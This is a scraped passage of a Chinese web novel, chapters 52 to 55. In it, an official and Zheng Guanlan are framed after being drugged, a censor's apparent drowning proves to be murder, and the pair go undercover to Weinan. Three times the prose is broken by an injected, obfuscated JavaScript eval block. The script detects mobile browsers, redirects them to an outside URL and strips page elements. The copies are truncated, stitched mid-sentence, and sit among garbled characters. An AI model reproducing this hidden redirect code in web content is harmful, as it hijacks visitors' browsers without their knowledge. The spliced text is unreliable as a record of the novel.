闻蝉满脸通红,紧皱着眉,嘴巴微张着,发出痛苦的呻吟。 “闻蝉!”郑观澜晃了晃她的肩膀,又连续叫了好几声。 对方却丝毫没有反应,像是沉浸在噩梦中一般。 即使此刻自己的头脑尚未完全清醒,郑观澜也明白过来发生了什么。 被人算计了! 他抱起闻蝉走到门口去推房门。 房门纹丝不动。 “想吐……难受……要死了……”闻蝉在他怀中不住地小声骂着,有气无力。 必须得快点出去! 他将人放在一边,深吸一口气,朝着房门撞去。 因为药物导致的无力,让他险些站立不稳。 必须弄开,被别人看见就完了! 他使劲儿掐了自己大腿一把,借着这一股清醒劲再次聚起力气撞向房门。 房门的缝隙漏进一缕光,又瞬间消失。 能撞开,能撞开,就如同当时和她在龙门山庄一般。 他不知疲倦,一下又一下撞着门。 砰,砰,砰…… 声音引来了正在花房附近的妇人们。 她们以何夫人为首,循声而来。 啪! 门锁崩裂。 “啊?什么声音?”一位夫人低声叫道。 一群人的目光不由汇聚在那一扇微微打开的门上。 何夫人满腹疑惑,指了身旁的仆妇。 “你去看看。” 仆妇走上前,迎面撞上抱着闻蝉的郑观澜。 “哎哟!”仆妇一时没看清,叫唤了一声,连退数步,差点摔倒。 其余人更是被此情此景吓得瞠目结舌。 “这不是郑家六郎和那个闻蝉吗!” “他们二人这是……” 人群议论纷纷。 可此时药效未过还用尽力气的郑观澜根本什么都听不到也什么都看不清。 他单腿跪倒在地,抱着闻蝉的手却越来越紧。 “难道他们二人在此处……” “真是伤风败俗!” “我看……” “都让开!” 一声铿将有力的女声打断了细碎的喳喳声。 颜玉立一一扫过那些人。 如鹰隼一般的眼神让人不禁胆寒,人群默契分开,让出一条路。 颜玉立快步上前,蹲在郑观澜面前。 “郑六郎?郑六郎?我是颜清越的母亲,你还记得吗?” 颜清越…… 郑观澜眼神稍微定了定。 就是十六的母亲? 他抬起头,干得起皮的嘴唇动了动。 “她……被下药了。” 颜玉立多年行医,自然早就看出二人的不对劲。 “我知道,你把她交给我,我给她瞧瞧,好不好?” 郑观澜这才松开手。 “好……” …… 等闻蝉醒来的时候已经是半夜了。 嘴里残留的药味让她还未起身就皱起了脸。 “闻娘子?闻娘子?” 一个圆眼睛婢女伸手将她扶起。 闻蝉还有些迷糊。 “你是……” “婢子是紫云呀,原先在郡主身边服侍过。” 紫云? 闻蝉吐出一口气,定睛一看。 是,原先义阳公主府上的那个婢女,经常跟在颜清越身边。 紫云给她端来一碗清水。 “您先喝口水缓一缓,婢子刚刚才给您喂了药,您这个时候肯定嘴里都是药味。” 闻蝉瘪了瘪嘴,接过碗喝了一口。 嘴里的苦味一下淡去不少,脑子也彻底清醒了起来。 她环顾四周,灰蓝粗布的床帐,她昨日才换上的。 这是自己家,她回来了。 “紫云,我一直晕着,到底发生了什么?” 她被人又是下药又是袭击,绝对不可能就这样简单脱险。 紫云咬了咬嘴唇。 “我说了您可先别急。” 闻蝉把碗放在床边小桌上。 “你说就是了。” 紫云这才将事情一一说来。 “今日……何夫人她们正在花房赏花,突然听见异动,循声而去,正好撞见郑评事抱着您从一个房间里出来……” “郑观澜?”闻蝉觉得自己是不是还晕着。 怎么还会有他的事? 紫云点点头。 “颜夫人给你们二人都看过了,说你们二人都中了迷药,尤其是您,中的迷药药性极烈。”她见闻蝉此时除去唇色发□□神还算足,也放心些许,“幸亏您身子底子不错,今日颜夫人还说您得第二日才能醒呢。” 闻蝉胡乱点了两下头。 她此刻也是咂摸出味儿来了。 郑观澜和她被下药后关在了同一个房间,郑观澜先醒来,为了逃出,将房门撞开,却恰好碰见赏花的人群。 会这么巧?见鬼吧! 还有…… “我今日离开后,正在院内散步,药性就发作了,之后便出现了一个身手极好的黑衣人,我是被他打晕带走的。” “郡主知道。当时您没了踪影,宝应县主很是焦急,就去找了郡主。郡主一到院内就发现了您被劫持的痕迹。”紫云顿了顿,“还有……今日午间的宴席上,丞相中毒了。” “什么!”闻蝉惊呼,直接弹了起来。 汉中人向来尊崇老丞相,她亦如此。 “您放心,丞相无碍。”紫云拍着她的肩膀,“平陶公与颜夫人救了丞相,郡主如今正在丞相府查案,才吩咐奴婢亲自来守着您,等事情忙完,她亲自来看您。” 前脚她和郑观澜出事,后脚丞相就中毒了? 这也太…… 紫云看她还十分冷静,也不再隐瞒其他。 “如今外头都传了难听的话,说您与郑评事如何。郡主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943164|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担忧郑家为了脸面强逼您……”她语气郑重了些,腰板也挺直了,倒是像个行伍之人,“您放心,我好歹是公主府上的人,有我在,他们不敢造次。” 闻蝉心里一暖。 她和郑观澜当时的情状定然是免不了被人议论,那样慌乱之下,颜清越还能记得为她安排,实在是让人感动。 “你也放心。”她扬了扬脸,“我从不在乎那些人说什么,从我进大理寺以来,那些人的议论就没有停过,早习惯了!” 她是真心不计较这种小事,又不是真和郑观澜有什么。 紫云的心彻底放了下去,她拍了一下掌。 “您这儿昏迷的时间快有大半日的功夫了,我去给您弄些粥来,可好?” 闻蝉鼻子动了动。 “我闻到了炖肘子的味儿。” 紫云脸红:“那是我吃的……” “虐待病人啊,给我喝粥,你吃肘子?”闻蝉叉腰,“我要吃肘子!” 紫云失笑:“行行行!吃肘子吃肘子。” 闻蝉这边倒是轻松,郑家就完全不同了。 郑家几个大人都聚在二房家的大厅里,面色各异。 郑观澜面色苍白,坐在那里,一动不动。 也没有肘子吃…… 信安县主面色黑如锅底。 “这可怎么办啊,六郎名声可是真毁了,日后还怎么说亲?这下好了,卢家向来重视家风,定然是连见都不能见了。” 郑士恒张了张嘴,又不敢打断她的唠叨。 这样的话,自回来后,她就翻来覆去说了数遍了。 坐在主位的郑士化面色铁青。 “好了。卢家不行就换其他家。现在更重要的是,查清楚,到底,是怎么回事!” 他是一家之主,饶是信安也不敢太过造次,按了按眼角,忍住了泪。 “六郎,你清清楚楚说一遍,今日到底是怎么回事?” 郑观澜揉了揉太阳穴。 “我在屋内休息,然后突然感觉头很晕,等我醒来……” 他声音轻了些。 “就发现闻蝉和我被锁在屋内,她神志不清,怎么叫都叫不醒。我当时便明白我们是被人算计,只能撞开门……后来的事你们也都知晓了。” “小厮?”信安一个激灵,“成生!” 成生正要跪下,被郑观澜抬手拦住。 “母亲,今日我带的不是成生,是另外一个家里的小厮。” 郑士化说道:“我已经让人问过,那个小厮在屋外被人打晕了,等他醒来的时候,六郎已经不见踪影。” 信安的牙齿被磨得滋滋作响。 “是谁!到底是谁!要害我的儿子!” 其余人不由看向郑士化。 先前肃王之事,牵连出郑贵妃疑似换子,如今郑家最重要的后辈又出了这样的事。 “父亲。”开口的是个三四十岁的男子,他气质温平,一脸忠厚的模样。 正是郑士化的长子,郑观裕。 “今日我们离去后,丞相也中毒了,如今郡主正在详查此案,孩儿已经派人在葛家外等着打探消息。孩儿猜想,这两件事应当是有联系的。” 郑士化缓缓点头。 “大郎说得有理。” 郑观裕微微一笑:“事情已然至此,再担忧也无益。父亲可想好了如何处理外头那些流言蜚语?” 郑士怀的手放在桌上轻拍一下。 “不变应万变。二人本来就没发生什么,等风头过去了,就好了。京城时时刻刻都有新鲜事情发生,等过段时日,那些人自然会忘了这事。”他对着信安说道,“弟妹,你放心,没人敢触我们郑家的霉头。” 信安还是担忧,嘴唇抿得紧紧的。 “就怕那个闻蝉……” “母亲。”郑观澜打断了她的话,维护道,“闻录事不是那样的人,在这事上,本也是受了我们的连累。” 这是出事后,他头一次主动说话。 信安的心莫名乱跳了两下。 “你就这么肯定?” 郑观澜身子歪了歪。 “我和她很少打交道,话都很少说……” 在最近这段时日,确实是如此。 “我看闻录事也不像是那样的人。”郑观裕解围道,“时候已经不早了,六郎也难受着,还是先休息吧,等明日消息传来,我们再做打算?” 郑士化也是此意,直接站起身来。 “让人好好照看六郎。”他阔步走向外面,又在郑观澜面前停下脚步,拍了拍他的肩膀,“大理寺那边这几日你就先别去了,在家里好好歇着。” 郑观澜懂得。 要避风头。 “我明白的。” 53. 远方来信 京城内关于二人的流言纷纷扰扰,作为当事人的二人各自在家中歇着,丝毫没受影响。 次日一早,颜清越就急匆匆到了闻蝉家中。 她带来了重要的消息。 闻蝉一掌拍在床上。 “合着是我遭了无妄之灾?” “怎么说呢……” 颜清越摸着下巴。 “葛溪被那一群反贼所惑,帮他们毒害丞相,这一点是肯定的。但她在死前交代,你所中的迷药是她的手笔,只是那药本是她下给胡久宁的,谁知被你喝了下去。可你又是被人袭击打晕后带去屋里的。这就说不通了,难不成她的帮手连胡久宁都不认识?” “郑观澜也被下药了!” “没错。所以依我看,是背后之人故意换了茶,他就是冲着你们二人来的,目的是破坏郑观澜日后和其他世家的联姻,借此来打击郑家。葛溪只是被他们利用了。” “反正就是他连累我了!”闻蝉手下没有往常有劲儿,这让她十分气恼,更用力拍了两下床,“他就是克我!” 颜清越等她泄完气才说道:“郑家为了保住颜面,多半会上门求亲,让你做妾。若是如此,你准备怎么办?” 闻蝉笑了。 “别说做妾,就是让我当他们家祖宗,把牌位放在他家祠堂上我都不乐意。别想拿着名声来压我,我命贱,不是世家子弟,可不怕别人说。” 颜清越还是有些担忧。 “你姑母那边呢?” “今早已经来过了,你放心,我姑母不是软弱的人,她让我好好养身体,别管其他的。” 颜清越点头:“是要先养好身子。那个混账给你下的药药性太烈了。”她说着就有些生气,“你至少得休息几日才能恢复元气,得亏你底子好……” “你可少□□的心。”闻蝉拉住她的手,“你最近有得忙了吧?” 颜清越皱着鼻子。 “是啊,这群逆党真是疯了似的。可能之后我没时间来看你了。紫云就先在你这儿,出事了让她跑一趟,我爹娘都在,他们会给你撑腰的!” 闻蝉笑着点头:“我知道。”她语气很是轻松,“也算是我捡了几日假。” 她推了推颜清越。 “人你也看过了,我没事好得很。你就放心去忙你的正事,其余的不要管。” 颜清越也不客气。 昨日,葛溪在大街上被灭口,事情又牵扯到手握重兵的周仪。 她必须要搞清楚…… “行,那我先走了。” 送走了颜清越,护国公的长子易明彰又带着大包小包以及护国公的口信来了。 接着几日,胡久宁、蔡真夫妇、卓啸、郎荣、还有奔丧归来的易家姐妹连番来了个遍。 闻蝉自己都开玩笑。 “不知道的还以为过年了呢!” 紫云笑得哈哈的。 “您也太有趣了。” 几日下来的相处,二人才发现双方性子相近,自然亲近不少。 闻蝉一下倒在床上。 “说实话,不用上值真的太舒服了!可惜啊,再过几日我的好日子就没了。” 紫云也有些小小的失落。 “我一个人在府里也很无趣呢……” 闻蝉说道:“别说啊,郑家还是没那么讨人厌,这几日也没来骚扰我们。” 紫云挺起胸膛:“有我在呢!前几日郑家来了人了,都被我挡回去了,我让他们有意见去找公主!” 谁敢惹义阳公主呢?那些人自然灰溜溜就走了。 “还真来过?”闻蝉都没有注意到,“他们来说啥?真想让我给郑观澜做妾?” 紫云哼了一下。 “京城里流言闹得厉害,他们就是这样打算的。” 她举起拳头比了比。 “您放心,来一个打一个,别说什么郑家当家夫人,就是那个郑士化亲自来了,我都要啐他一口!” 闻蝉被逗得哈哈笑。 笃,笃。 门突然被敲了两下。 紫云放下拳头:“谁啊?” 外面的人没有回应。 闻蝉起身。 “我们去看看?” 她也好几日没动弹了。 二人一起走到门口。 门还在响着。 闻蝉推开门。 是个高大的男子,带着兜帽,把脸都遮住了。 可是那熟悉的清冽又微甜的气味…… 男子的兜帽才取下一半,闻蝉就认出了眼前之人。 “郑观澜?” 紫云一下绷紧了身体。 她刚刚才说过——来一个打一个! 郑观澜取下兜帽,露出脸来。 不过几日,他的双颊就有微微的凹陷,看上去远不如闻蝉这样面色红润。 “你倒是过得滋润。”他脱口而出。 闻蝉眯了眯眼。 “你过得不好,我自然就过得好了。你来干嘛!” 郑观澜咬了咬自己的舌头,有些后悔自己的开场白。 “咳咳,我来寻你。有事,商议。” 紫云一听这话,立即挡在二人中间。 “郑郎君请回吧!我们闻娘子和你没什么好商议的。” 闻蝉却拉住了她。 “我也有此意。” 紫云傻眼。 “啊?” 紫云最终还是被说服了,在门外守着。 二人在屋内相对而坐。 闻蝉此时很是平静,还给郑观澜倒上了茶。 “粗茶,不如你家的,不喝拉倒。” 郑观澜看着茶盏里发褐的茶水,直接揭穿了她。 “故意拿的家里最差的茶吧?你在值房内喝的都是好茶。” “好茶是给贵人喝的。”闻蝉眨眨眼。 那种被气得头脑发热的感觉再此出现。 郑观澜深吸一口气。 “我不是来和你拌嘴的。那日的事情,你应该已经了解了。” 闻蝉也不隐瞒。 “清越找我说了。”她一字一句道,“我,是,被,你,连,累,了!” 对此,郑观澜无话可说。 “我记得,你曾经说过,迷药对你的作用不大。” “没错,要让我晕过去,至少得要普通人药量的四五倍才行。”闻蝉勾起嘴角,“你反应还挺快嘛。” “我又不傻。那日你昏迷的程度明显比我严重得多,可见下药之人是故意针对你下的药。如果只是葛溪给胡娘子的药错换给了你,按照正常的药量,你根本不会昏迷得那么严重。那个人不仅针对的是你,还十分了解你。” “知道这件事的人不多,也就卓啸他们几个我们从小认识且共事的人,连我姑母他们都不清楚此事。” “你姑母都不知道?” “之前,办一个拐孩子的案子的时候,有接触过迷药,我才发现迷药对我作用不大的。我姑母又不知道我的公事。” “那嫌疑就在卓啸他们身上了。” 闻蝉定定看着他。 “你呢?” “我没有告诉过其他人,这事你只说过一次,若非昨日我忽然想起,早忘了。”郑观澜语气带着点怨气,“你又准备冤枉我了么?” 闻蝉白了他一眼。 “人之常情。” “闻娘子!闻娘子!”紫云忽然在外面喊着。 二人的话也说了大概,闻蝉说道:“进来吧。” 紫云拿着一封信走了进来。 “方才有人来送信,说是特意给您的,还嘱咐过一定要您亲手打开。” 那信很是特别。 很厚,信封上的字迹潇洒飘逸,写着“卿卿亲启”,一拆开,里面的信纸还是淡粉的颜色。 郑观澜瞟了一眼,脸都黑了。 “浣花笺,真是大手笔。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人名被郑观澜准确捕捉到。 “萧散?!他给你的信?” “是啊,莫名其妙的。”闻蝉嫌弃地戳了戳信封,“还写了个酸诗,完全看不懂。诶!你帮我看看……” 她大大方方把信纸递给他。 郑观澜嘴角扯了扯。 “给我看什么,这种东西……” “这种东西就你能看懂吧?”闻蝉把信纸塞给他,“你看看,这是什么意思啊!” 郑观澜嘴里这样说,手上还是飞快接过。 信上只有一首简短的诗。 “‘素练自此来,玉龙下云台,不得佳人顾,独饮沋河畔。’?” 这和他设想的诗有些许出入。 闻蝉扭着头望着他:“快说呀!” 郑观澜回过神。 “前两句写的是瀑布,应当指的是那座山上流下的瀑布。后两句……” “哼!他这是提醒我别忘记请他喝酒!”闻蝉把信纸按在桌上,“老酒鬼!出外差都还记着!” “只是如此吗……”郑观澜喃喃道。 “不然呢?萧散这个酒葫芦修成的精怪,满脑子除了酒还能有什么!”闻蝉这才反应过来,“你不会以为他这是……情书吧?” 郑观澜眼神闪躲。 “谁家寄信用浣花笺还说什么卿卿啊?” 紫云难得赞同。 “就连我也差点误会了呢。” 闻蝉却毫不在意。 “他这人做事从来如此,也不知道他什么时候回来……”她有些苦恼,摸了摸腰间瘪瘪的钱袋子,,“葡萄酒很贵吧……” 咣!咣! 门被人砸了两下。 闻蝉吓得一抖,吼道:“谁啊!” “阿蝉,是我,快开门!” 三人齐齐一愣。 蔡真? 54. 御史之死 蔡真是拿着一封信来的,行色匆匆,甚至连官服都没换上,一看就知是早上一起身就便杀了过来。 见到郑观澜,他有些许的意外。 “郑六郎也在?” 郑观澜解释道:“有些公事来找闻录事。”他起身准备拱手道,“下官先告辞了。” “不必。”蔡真叫住他,“我来也是为了公事,你正好在,一起听听。” 郑观澜只好坐下。 闻蝉先开口问道:“蔡叔,到底什么事?你这样着急?” 蔡真把信放在桌上。 “渭南来的急报,御史萧散在渭南失足落水而死。” 萧散?御史萧散?! 闻蝉眼前一阵眩晕。 郑观澜也不敢相信——明明方才萧散还寄来一封信! “阿蝉……”蔡真扶住身子有些摇晃的闻蝉,给她递上一盏热腾腾的茶,“你缓一缓。” 闻蝉推开茶盏。 “是不是我听错了?” 蔡真叹了口气。 “是萧散。” 闻蝉捂住脸,只有微微颤动的肩膀泄露了她的情绪。 蔡真没有再说什么,只一下又一下拍着她的背。 许久,闻蝉才放下手。 她的脸上没有泪痕,双目失去神采,无端端憔悴了几分, “具体情况是怎么回事。” 萧散是好酒,但是绝对不可能失足落水而死! 他是个怕水的人,怕到就连当年进京都走的陆路!按照他的性格,他根本不会靠近水! “今年夏季,沋河泛滥,朝廷拨下来一批钱粮赈灾。灾后,御史台派萧散去巡视,看这笔钱粮有没有用在实处。可就今日一早,渭南传来急报,说萧散酒后泛舟,因醉酒的缘故失足落入沋河而死。” “尸体呢!” “一起传入的。你知道京兆府最近只有谢老参军在,御史台不长于查案,就把案子直接递给了大理寺。尸体如今,就在大理寺。” …… 萧散就这样躺在那里,面色苍白。 闻蝉一寸寸检查完他的尸体,没有丝毫的线索。 天衣无缝的溺死。 可她不相信。 他那么怕水,怎么可能会靠近沋河?又怎么会掉入河里? 肯定会有线索! 她猜想过,会不会是被人打晕被人迷晕扔入河中。 可他的头部没有伤,指甲缝里带着泥沙水草,明显有挣扎的痕迹,这和溺水死亡是完全相符合了。 没有伤痕…… “闻录事。”身后传来郑观澜轻轻的呼唤。 闻蝉转过头,这才发现天色已经暗了。 郑观澜拿着食盒。 “先吃些东西再继续验吧?公厨里今日做了炖鸭子,加了甘草,我给你带了些来。” “甘草?”闻蝉定定看着食盒,嘴里含糊不清重复着,“甘草,甘草……” “是甘草,怎么了?你不吃甘草?” “你去帮我弄些甘草水来!”闻蝉一把拉住他,“要多点,一桶那么多!” 郑观澜有些迷糊。 “你要甘草水做甚?” “验尸!快!快!” 见对方着急得脸都红了,郑观澜也不好再说什么,转身去弄甘草水了。 片刻后,他提着一桶甘草水回来,给她放在了桌边。 “这个能验尸?” “当然能!”闻蝉从验尸箱中拿出一把两寸来宽的软毛刷子。 她用刷子蘸满甘草汁,刷在尸体表面。 郑观澜还是头一回见这样验尸,看得分外认真。 一刻钟后,尸体的表面出现了变化。 尸体双手手背上显露出一片淤痕。 闻蝉眯了眯眼睛,双手捧起手仔细查看。 “不规则的圆形,应当是钝物击打导致的。” 光这一处伤就足以表明——萧散的死不是意外! “他被推入水后,手扒在船上,船上的人反复击打他的手背,导致他松手落入河中溺亡?” 闻蝉清洗着刷子。 “是这样没错。” “这是什么法子?为何涂上甘草水这淤痕才出现?” 闻蝉冷笑。 “这就要问写下这验尸格目的仵作了!用芮草加醋涂抹尸体后,可以掩盖伤痕,而破解的办法就是甘草水。若不是内行,有几人能知道这个法子!” “看来,萧散在渭南查到了不得了的东西。给他验尸的仵作是华州州府的人。” “你今日查到了什么?” “渭南的消息是,三日前晚上,也就是十月二十五晚,萧散和一群当地官商在画舫上喝酒赏月。酒后,萧散独自去甲板散心,失足落水。等船上的人反应过来,下去救人时,已经晚了,人捞起来的时候就没有了气息。” “船上的其他人有哪些?” “渭南县县令黄齐乐,县丞陈释德,还有四个当地的商人,杨金斗、何密、张书华、叶光。” “人倒是不少……” …… 二人如同往常一样坐在值房内一起用饭。 只是这次,是闻蝉的值房,对面的值房还锁着。 大黄耳有几日没见二人,十分兴奋,在桌下来回奔忙,狗爪子在地上摩擦得哗啦啦得响。 闻蝉放下筷子。 “萧散寄给我的信,不是一个玩笑。” 郑观澜也做如此想。 “他在信上故作暧昧,是怕人发现信中隐藏的信息。”他拿出信封,“我今日下午查验过,信封口有两次被打开的痕迹。” “看来是案发前,他就已经被人盯上了。可是他为何独独提到瑞泉观和六姑泉?难道这个地方和他所调查的事情有关?” “定然如此。” “你们在说什么?”蔡真忽然推门而入。 二人急忙起身行礼。 蔡真看了一眼桌面。 “这是何物?” 这已经是他今日第二日看见这封信了。 闻蝉也不隐瞒。 “是案发前,萧散寄给我的信,信里有一张绢帕,上面画着渭南的六姑泉,还有一首诗,诗写的是六姑泉上的瑞泉观。” 蔡真缓缓点头:“看来,他是早有预感。”他坐了下来,朝着二人招手,“你们先坐,我有话要和你们说。” 二人坐在他的两侧,静静等着。 蔡真面色凝重。 “方才我和寺卿商议过了。阿蝉,你和萧散自小认识,萧散若有什么遗留的蛛丝马迹,也一定只有你找得到,所以,这案子必须要你去办。”他面露关切,“只是你身子可还受得住?” “没有大碍,郡主给了我许多药,这几日我都胖了呢。”闻蝉有些急切,生怕因此而失了机会,“我能办的!” 蔡真松了口气。 “那就好,还有……这些人丧心病狂,连对御史都敢下黑手,你一个人去,我们不放心。所以……”他看向郑观澜,“郑六郎武功不错,和你一起正合适。” 闻蝉有些犹豫。 郑观澜亦没有立即应下,面带顾虑。 蔡真继续说道:“让你们二人秘密前去是有其他考量的。一是,此案需要密查,如今大理寺除了你们二人都在上值,让其他人临时离开,难免会招人耳目。二是……最近流言纷纷,你们二人离开京城也能避一避风头。” 两个理由,让二人都无法拒绝。 郑观澜起身拱手道:“多谢寺卿和少卿为下官打算。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951872|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 闻蝉自然不会再拒绝。 “确实,那些人既然敢对御史下手,定然会密切关注此事,大理寺要是忽然少了谁,他们说不定会立刻发现。我们二人这几日本就不在,是最合适的人选。” 蔡真嘱咐道:“渭南是咽喉要道,也是兵家重地。此地情况复杂,虽有陛下的圣谕在,但你们二人一定要谨慎行事,凡事以自身安全为先,莫要莽撞。” “下官遵命!” …… 办事宜早不宜迟。 第二日一早,二人就换了装扮,拿了大理寺早就备好的假路引,到了城外汇合。 蔡真给二人捏造了假身份。 郑观澜的假名是李衡,出自京城一个普通的书香门第,家道中落,准备和新婚妻子文双搬去渭南居住。 而闻蝉就是那个新婚妻子文双。 二人打扮还算贴合身份,只穿着普通的锦缎衣裳,披着兔毛大氅,俨然小富人家。 在城外,二人租了一辆马车,带着行李就上了车。 因是冬日,马车帘是厚厚的,恰巧能隔音。 闻蝉小声和他对着身份。 “记着啊,李衡的爹是国子监录事,家里的老人十年前就去世了,李衡因为考不上一直在家中靠吃家里的田地为生。我们二人是一年前成的亲,我是你家隔壁邻居,从小定的娃娃亲,家里没有爹娘,是伯父养大的。离开京城是因为京城生活花销很大,所以才准备搬去渭南安家……” 她说完抬起头,才发现郑观澜双眼发直。 他竟然敢走神! 闻蝉深吸一口气,毫不客气掐了他胳膊一把,低声吼道:“我刚刚说什么你都听了吗!” 郑观澜反应不及,痛呼出声。 “你掐我干嘛!” 闻蝉也高声道:“就掐你!我说话你走神,你什么意思!” 赶车的车夫只以为是小两口拌嘴,被惹得哈哈大笑。 闻蝉这才想起还有个车夫在,立即压低声音:“我和你说正事呢。” 郑观澜移开眼。 “我记住了。” 闻蝉不信。 “那你重复一遍给我听!” 郑观澜声音小小的。 “我们去年成的亲,你是我家邻居的侄女,定的娃娃亲……” “还有呢?”闻蝉龇牙,“还有你爹娘的事!光记这个了?!” 郑观澜耳朵根都烫了起来。 “什么叫做我光记这个……李衡的爹是国子监录事,十年前,爹娘就去世了,之后一直靠着吃自己家祖产为生,这次搬家到渭南是因为家里支撑不了在京城的开销。” 闻蝉脸色这才好看点。 “我提醒你啊,你千万别露出破绽。” “你才是。”郑观澜反驳,“谁家夫人会对自己的夫君大吼大叫?” 闻蝉理直气壮:“普通人家都这样,李衡惧内,你必须得让着我。” “路引上可没写李衡惧内。” “笨死了,惧内是个最好的由头。”闻蝉扳着指头说,“如果有人要你喝酒你可以说我夫人不准,如果有人要你做什么决定,你也可以说你夫人不准。这样才方便我们办事,知道吗?” 郑观澜板着脸:“你又在忽悠人。” 闻蝉面色不改:“我还没和你算账呢。这次你把我连累成什么样了?” 郑观澜瞬间气短。 “被人下药,被人打晕,弄得我几日起不了身,现在外面还议论我,说我不要脸不洁身自好。”闻蝉叉腰,“现在我不计前嫌,教你怎么伪装身份,你还说我是忽悠人?真是让人心寒!” 郑观澜哪里说的过她,况且这次确实是自己连累了她。 “行行行,都听你的,惧内,李衡惧内。” 55. 六姑社前 二人赶了两日的路就到了渭南。 找了个地方落脚后,闻蝉先做了决定。 先去萧散特意提到的六姑泉,摸一摸情况。 六姑泉就在沋河西岸的一座小山上,距离二人落脚的位置不远,走过去也就一刻钟的样子。 二人一到山脚却傻了眼。 今日这山上人多得吓人,满山都是人,路都被堵得死死的。 上山的人手里个个还拿着空空的竹筐。 也不像是来烧香的啊? 闻蝉随意挑了个面善的妇人问道:“这位姐姐,请问今日山上怎么这么多人呀?” 那妇人停下脚步:“听你口音,是外地人吧?” “是呢,我和夫君才搬来渭南。本是想去瑞泉观拜拜,可……好多人啊!” 妇人含笑道:“哎哟,你不知道哇,今日是六姑社的娘子们施药的日子,人怎么会不多呢?不过你们也算是挑对了时候,娘子们自己做的药包药膳都可好了,花钱都买不到的好东西。就算你们是外地人也能拿。” “六姑社?那是什么?” “是我们本地几位闺秀办的,就在瑞泉观旁边。几位娘子以六姑仙子们为榜样,时常施粥施药扶贫济困。” 闻蝉道了谢,拉着郑观澜往上走。 “我们得去凑个热闹。” 人群拥挤,这是郑观澜从未接触过的情况,他有些束手束脚,跟在其后。 闻蝉就自在多了,在人群里钻来钻去,像条泥鳅似的,十分灵活。 “啊!” 一个正要下山的疤癞头壮汉和郑观澜迎面相撞。 郑观澜不想惹麻烦,客气道:“对不住。” 那人却不珍惜他难得的退让,嘴里骂了一句。 “你大爷的瞎了眼了,路都不会走,非要往你爷爷身上撞!” 郑观澜努力忍住怒气,没有回嘴,当做没听见,继续向前走。 他知道自己是来做什么的。 那人却将他的退让当做软弱,一把扯住他。 “你还没给爷道歉呢!” 身旁的人见状都躲闪开来。 “你谁啊你!”闻蝉转身过来,挡在二人中间,叉着腰,昂着头,一副泼辣模样,“把你狗嘴给老娘洗干净再上街!欺负我男人老实是吧!” 那汉子一下气红了脸:“你个娘们……” “娘你个狗头!老娘是你祖宗!”闻蝉一把把人推开,“老泼皮死无赖,活着摸不到女人的手,死了棺材板都没有一寸厚,有空在这儿和老娘找茬儿,还不如滚回去多赚几个卖身钱免得死了连个破草席子都没得裹!” 她劲儿大又骂得刁毒,正是泼皮最怕的那种人。 那汉子一下没了气势,窝窝囊囊嘟囔了几句就藏入了人群。 闻蝉拉着郑观澜:“没事儿吧?” 郑观澜有些没回过神,下意识摇摇头。 闻蝉借着伸手给他整理着衣襟,靠近他小声道:“可以嘛,把我的话听进去了,知道忍让了?” 郑观澜浑身僵硬。 “正事要紧。” 闻蝉满意一笑。 “孺子可教也,你现在知道惧内的好处了吧?像是方才那种情况,就很有用,对不对? …… 过了正午,二人才终于到了瑞泉观。 瑞泉观并不大,大门都只有四人宽,装潢也灰扑扑的,十分老旧,尤其是和旁边的那一座庄园比起来。 那小庄园挂着一个崭新的牌匾,上写着六姑社三个大字,两边挂着同样新的一副对联,上写着“仁心蕙质承天德,解囊施弱继兰风。” 字迹飘逸飞扬,笔画却不失章法。 “是萧散的字。”闻蝉的声音从喉咙里咕噜出来,颤得厉害。 郑观澜怕她稳不住,牵着她的手向后走去。 走到无人的地方,他才停下,松开手。 闻蝉靠在墙上,面色似是如常。 “萧散画了这座山,又偏偏在六姑社留下了痕迹,至少,他生前来过此处。我觉得我们得去六姑社看看。” “再等等吧,此时人多,即使去了也套不到什么消息。” 闻蝉低低应了一声。 见这样的她,郑观澜很是不习惯,主动说道:“若你心里难受……” “没事。”闻蝉不等他说完就打断了他的话,“案子不等人,若是为了无用的难过伤心,耽误了时机,那才不划算。” 这种错误,她小时候犯一次就够了。 …… 见人群逐渐散去,二人才到了正门口。 正门口放着一张长条大桌,桌后只剩下一个五十左右的黑发老头,精瘦干练。 他正低头收拾着桌上的残局,并未看到二人。 直到二人都走到面前,他才抬起头。 面前的二人一看就知道是一对小夫妻。 穿着不差但是也不算好,男的倒是一身书卷气。 “哦!”老头一拍桌子,“你们是想来做夫子的么?” 什么夫子? 二人一下糊涂了。 还不等二人反应,老头手指着庄园旁的小巷子。 “要去后门啊!从这儿过去!” 郑观澜想要解释清楚,然而,闻蝉却拦住了他。 “这位老伯,我夫君确实想来贵宅做夫子,只是我们初来乍到,有些好奇。这六姑社里的娘子都是哪家的千金啊?年岁大概有多大?”她腼腆一笑,“我们也怕不能胜任呢。” “还真是外地人啊!”老头耐心道,“我们六姑社里的几位娘子都是我们淮南最有头有脸几户人家的千金。听说过杨家吗?” 